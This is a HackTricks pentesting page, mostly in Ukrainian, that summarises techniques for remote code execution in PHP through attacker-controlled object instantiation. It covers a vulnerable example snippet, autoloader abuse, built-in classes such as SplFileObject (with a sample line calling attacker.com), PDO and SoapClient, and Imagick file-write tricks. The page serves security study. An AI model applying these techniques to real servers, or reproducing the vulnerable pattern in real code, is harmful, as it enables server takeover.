PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Підтримайте HackTricks

Це, по суті, резюме https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Вступ

Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"]), може призвести до віддаленого виконання коду (RCE), як детально описано в статті. Цей документ підкреслює різні стратегії для досягнення RCE.

RCE через користувацькі класи або автозавантаження

Синтаксис new $a($b) використовується для створення об'єкта, де $a представляє ім'я класу, а $b є першим аргументом, переданим конструктору. Ці змінні можуть бути отримані з введення користувача, як GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть представлятися як інші типи.

Розгляньте фрагмент коду нижче:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

У цьому випадку, встановлення $a на App або App2 і $b на системну команду (наприклад, uname -a) призводить до виконання цієї команди.

Функції автозавантаження можуть бути використані, якщо такі класи не є безпосередньо доступними. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register або __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Поведение автозагрузки варіюється в залежності від версій PHP, пропонуючи різні можливості RCE.

RCE через вбудовані класи

Відсутність користувацьких класів або автозагрузчиків, вбудовані класи PHP можуть бути достатніми для RCE. Кількість цих класів коливається від 100 до 200, залежно від версії PHP та розширень. Їх можна перерахувати за допомогою get_declared_classes().

Конструктори, що представляють інтерес, можна ідентифікувати через API рефлексії, як показано в наступному прикладі та за посиланням https://3v4l.org/2JEGF.

RCE через специфічні методи включає:

SSRF + Phar десеріалізація

Клас SplFileObject дозволяє SSRF через свій конструктор, що дозволяє підключення до будь-якого URL:

new SplFileObject('http://attacker.com/');

SSRF може призвести до атак десеріалізації в версіях PHP до 8.0, використовуючи протокол Phar.

Експлуатація PDO

Конструктор класу PDO дозволяє підключення до баз даних через рядки DSN, що потенційно дозволяє створення файлів або інші взаємодії:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Версії PHP до 5.3.22 та 5.4.12 були вразливими до атак XXE через конструктори SoapClient та SimpleXMLElement, залежно від версії libxml2.

RCE через розширення Imagick

У процесі аналізу залежностей проєкту було виявлено, що Imagick може бути використаний для виконання команд шляхом створення нових об'єктів. Це створює можливість для експлуатації вразливостей.

VID парсер

Було виявлено, що можливість VID парсера записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у веб-доступному каталозі, досягаючи віддаленого виконання коду (RCE).

VID Parser + Завантаження файлів

Зазначено, що PHP тимчасово зберігає завантажені файли в /tmp/phpXXXXXX. VID парсер в Imagick, використовуючи протокол msl, може обробляти шаблони в шляхах до файлів, що полегшує передачу тимчасового файлу до вибраного місця. Цей метод пропонує додатковий підхід для досягнення довільного запису файлів у файловій системі.

PHP Збій + Брутфорс

Метод, описаний у оригінальному звіті, передбачає завантаження файлів, які викликають збій сервера перед видаленням. За допомогою брутфорсу імені тимчасового файлу, Imagick може виконувати довільний PHP код. Однак цей метод виявився ефективним лише в застарілій версії ImageMagick.

Посилання

Support HackTricks

Last updated